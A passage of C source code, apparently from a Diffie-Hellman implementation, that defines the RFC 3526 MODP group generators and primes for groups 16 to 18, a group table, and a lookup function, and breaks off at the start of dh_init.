0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x3A, 0xD2, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 5. Group 16 - 4096 Bit MODP * Generator: 2 * Prime: 2^4096 - 2^4032 - 1 + 2^64 * { [2^3966 pi] + 240904 } */ static const u8 dh_group16_generator[1] = { 0x02 }; static const u8 dh_group16_prime[512] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x06, 0x31, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 6. Group 17 - 6144 Bit MODP * Generator: 2 * Prime: 2^6144 - 2^6080 - 1 + 2^64 * { [2^6014 pi] + 929484 } */ static const u8 dh_group17_generator[1] = { 0x02 }; static const u8 dh_group17_prime[768] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xCC, 0x40, 0x24, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 7. Group 18 - 8192 Bit MODP * Generator: 2 * Prime: 2^8192 - 2^8128 - 1 + 2^64 * { [2^8062 pi] + 4743158 } */ static const u8 dh_group18_generator[1] = { 0x02 }; static const u8 dh_group18_prime[1024] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01, 0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7, 0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26, 0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C, 0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA, 0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8, 0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9, 0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6, 0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D, 0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2, 0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED, 0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF, 0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C, 0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9, 0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1, 0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F, 0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92, 0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26, 0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE, 0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD, 0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E, 0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE, 0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31, 0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18, 0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED, 0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B, 0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B, 0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42, 0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF, 0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC, 0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03, 0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6, 0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82, 0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E, 0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3, 0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE, 0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5, 0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA, 0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8, 0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0, 0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28, 0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76, 0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0, 0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C, 0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32, 0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68, 0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE, 0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6, 0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xBE, 0x11, 0x59, 0x74, 0xA3, 0x92, 0x6F, 0x12, 0xFE, 0xE5, 0xE4, 0x38, 0x77, 0x7C, 0xB6, 0xA9, 0x32, 0xDF, 0x8C, 0xD8, 0xBE, 0xC4, 0xD0, 0x73, 0xB9, 0x31, 0xBA, 0x3B, 0xC8, 0x32, 0xB6, 0x8D, 0x9D, 0xD3, 0x00, 0x74, 0x1F, 0xA7, 0xBF, 0x8A, 0xFC, 0x47, 0xED, 0x25, 0x76, 0xF6, 0x93, 0x6B, 0xA4, 0x24, 0x66, 0x3A, 0xAB, 0x63, 0x9C, 0x5A, 0xE4, 0xF5, 0x68, 0x34, 0x23, 0xB4, 0x74, 0x2B, 0xF1, 0xC9, 0x78, 0x23, 0x8F, 0x16, 0xCB, 0xE3, 0x9D, 0x65, 0x2D, 0xE3, 0xFD, 0xB8, 0xBE, 0xFC, 0x84, 0x8A, 0xD9, 0x22, 0x22, 0x2E, 0x04, 0xA4, 0x03, 0x7C, 0x07, 0x13, 0xEB, 0x57, 0xA8, 0x1A, 0x23, 0xF0, 0xC7, 0x34, 0x73, 0xFC, 0x64, 0x6C, 0xEA, 0x30, 0x6B, 0x4B, 0xCB, 0xC8, 0x86, 0x2F, 0x83, 0x85, 0xDD, 0xFA, 0x9D, 0x4B, 0x7F, 0xA2, 0xC0, 0x87, 0xE8, 0x79, 0x68, 0x33, 0x03, 0xED, 0x5B, 0xDD, 0x3A, 0x06, 0x2B, 0x3C, 0xF5, 0xB3, 0xA2, 0x78, 0xA6, 0x6D, 0x2A, 0x13, 0xF8, 0x3F, 0x44, 0xF8, 0x2D, 0xDF, 0x31, 0x0E, 0xE0, 0x74, 0xAB, 0x6A, 0x36, 0x45, 0x97, 0xE8, 0x99, 0xA0, 0x25, 0x5D, 0xC1, 0x64, 0xF3, 0x1C, 0xC5, 0x08, 0x46, 0x85, 0x1D, 0xF9, 0xAB, 0x48, 0x19, 0x5D, 0xED, 0x7E, 0xA1, 0xB1, 0xD5, 0x10, 0xBD, 0x7E, 0xE7, 0x4D, 0x73, 0xFA, 0xF3, 0x6B, 0xC3, 0x1E, 0xCF, 0xA2, 0x68, 0x35, 0x90, 0x46, 0xF4, 0xEB, 0x87, 0x9F, 0x92, 0x40, 0x09, 0x43, 0x8B, 0x48, 0x1C, 0x6C, 0xD7, 0x88, 0x9A, 0x00, 0x2E, 0xD5, 0xEE, 0x38, 0x2B, 0xC9, 0x19, 0x0D, 0xA6, 0xFC, 0x02, 0x6E, 0x47, 0x95, 0x58, 0xE4, 0x47, 0x56, 0x77, 0xE9, 0xAA, 0x9E, 0x30, 0x50, 0xE2, 0x76, 0x56, 0x94, 0xDF, 0xC8, 0x1F, 0x56, 0xE8, 0x80, 0xB9, 0x6E, 0x71, 0x60, 0xC9, 0x80, 0xDD, 0x98, 0xED, 0xD3, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #endif /* ALL_DH_GROUPS */ #define DH_GROUP(id) \ { id, dh_group ## id ## _generator, sizeof(dh_group ## id ## _generator), \ dh_group ## id ## _prime, sizeof(dh_group ## id ## _prime) } static struct dh_group dh_groups[] = { DH_GROUP(5), #ifdef ALL_DH_GROUPS DH_GROUP(1), DH_GROUP(2), DH_GROUP(14), DH_GROUP(15), DH_GROUP(16), DH_GROUP(17), DH_GROUP(18) #endif /* ALL_DH_GROUPS */ }; #define NUM_DH_GROUPS (sizeof(dh_groups) / sizeof(dh_groups[0])) const struct dh_group * dh_groups_get(int id) { size_t i; for (i = 0; i < NUM_DH_GROUPS; i++) { if (dh_groups[i].id == id) return &dh_groups[i]; } return NULL; } /** * dh_init - Initialize Diffie-Hellman handshake * @dh: Selected Diffie-Hellman group * @priv: Pointer 